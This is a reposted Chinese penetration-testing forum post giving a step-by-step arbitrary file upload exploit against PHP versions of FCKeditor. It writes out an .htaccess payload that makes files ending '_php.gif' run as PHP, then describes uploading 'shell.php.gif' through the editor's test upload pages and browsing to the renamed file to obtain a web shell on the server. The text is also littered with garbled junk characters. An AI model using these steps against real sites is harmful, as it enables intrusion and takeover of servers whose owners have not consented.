中国网络渗透测试联盟

标题: FCKeditor所有php版本Upload上传漏洞 [打印本页]

---

作者: admin    时间: 2013-10-27 17:25
标题: FCKeditor所有php版本Upload上传漏洞

FCKeditor所有php版本Upload上传漏洞 作者：佚名 来源：本站整理 发布时间：2011-10-25 7:39:07 5 u8 @7 `$ ^( N+ a+ k6 [9 R# x) _减小字体 增大字体 1 d1 b9 u. D0 a! N4 y. L7 V[+] Title:FCKeditor all versian Arbitrary File Upload Vulnerability [+] Date: 2011 & ~% ^7 Q: f: [( f# H! ^6 ][+] Author : sinesafe.cn [+] Website : WwW.sinesafe.cn ——————————————————— 1.create a htaccess file: & r; U0 }0 i6 N) {: hcode: 4 F: S0 W% P3 f+ E# x4 l<FilesMatch “_php.gif”> SetHandler application/x-httpd-php </FilesMatch> ! d/ O5 _. V$ j, |8 m3 \: |& P2.Now upload this htaccess with FCKeditor. , t1 `! Q5 w5 B7 g8 X0 w/ g* B http://www.sinesafe.cn/FCKeditor ... er/upload/test.html 3 x  A/ M7 `2 f4 s http://www.sinesafe.cn/FCKeditor ... onnectors/test.html 0 }2 S. G8 N8 m8 } ———————————————————————————————- " Q! |* c6 |: I" J; r4 `' ]3.Now upload shell.php.gif with FCKeditor. ' p0 A$ M, a! M2 f& l4.After upload shell.php.gif, the name “shell.php.gif” change to “shell_php.gif” automatically.   m! p& e7 z7 q& z2 c3 k5.http://www.sinesafe.cn/anything/shell_php.gif 6 z1 S7 Z1 e: ]! f# Q: D6.Now shell is available from server.

$ w; n- N- O5 u! K
$ }: b" D/ ]& i! e5 _

---

欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)

Powered by Discuz! X3.2